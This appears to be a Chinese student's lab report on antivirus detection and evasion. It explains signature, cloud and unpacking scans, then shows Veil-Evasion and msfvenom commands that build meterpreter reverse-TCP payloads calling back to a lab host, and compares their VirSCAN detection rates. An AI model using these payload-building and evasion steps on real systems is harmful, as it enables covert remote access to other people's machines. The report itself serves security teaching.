基础问题回答
1.杀软是如何检测出恶意代码的?
- 特征库扫描法:检查文件中是否存在与常见病毒相同的代码。如果检测到匹配,则说明存在病毒。
- 云扫描法:将可疑文件上传到云服务器进行检查。此方法需要网络连接。
- 虚拟机脱壳法:看该代码是否被流行免杀加壳软件加壳,使用虚拟机引擎进行文件脱壳(仅支持部分壳类型)。脱壳后的文件将会进一步接受上两种扫描方式的检查。
2.免杀是做什么?
- 免杀就是通过改变恶意程序的明显特征等信息,使其不被杀毒软件所发现。
3.免杀的基本方法有哪些?
-
加壳:使用专业的加壳软件,掩盖特征码;
-
添加花指令指令使反汇编出错,杀毒软件无法准确地识别出木马程序;
-
反弹式连接能或者减少对系统注册表之类的修改能大大减少被阻止查杀的风险;
-
诱导用户去关闭自己的杀毒软件。
实验过程
在本次实验中,
win8 172.20.10.3
Linux 192.168.31.132
使用msf生成后门文件的检测
在之前的实验中,我们已经生成了一个木马程序。
可以通过VirSCAN.org来检验一下病毒的抗杀能力。扫描结果如下:
从图中可以看出,报毒率还是挺高的,39款杀软中就有22款扫描出病毒,基本上现在主流的杀软都能查杀出来。
Msfvenom使用编码器生成meterpreter可执行文件
Veil-Evasion生成后门文件的检测
Veil-Evasion是一个与Metasploit有点类似的免杀平台,用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe。
在终端下输入指令veil-evasion打开软件,根据menu的提示依次输入以下指令:
use python/meterpreter/rev_tcp
//设置payload
set LHOST 192.168.18.128
//设置反弹连接IP
set port 443
//设置反弹端口443,默认为4444
generate
//生成
5232
//程序名
1
放到VirSCAN.org网站上扫描一下:
比之前用msf生成的文件报毒率要更低,仅有10个引擎报毒。
C语言调用Shellcode
在kali主机下,进入终端,执行指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.18.128 LPORT=443 -f c
将上述代码从虚拟机里copy出来,用Microsoft Visual Studio 2013进行编译运行生成可执行文件
nc111.cpp
在kali下进入MSF打开监听进程
在靶机上运行nc111可执行文件,kali成功获取权限
VirSCAN.org检测结果如下:
此文件有4个引擎报毒风险已经降低了不少,但是仍被定性为病毒文件。
win8.1 电脑管家共存
实验体会
这次实验让我充分理解了免杀原理,有不少方法可以免杀,为电脑带来一些潜在的风险。现如今社会,处处离不开网络,需要提高安全防范意识,定期检查电脑,防止别人恶意盗用信息。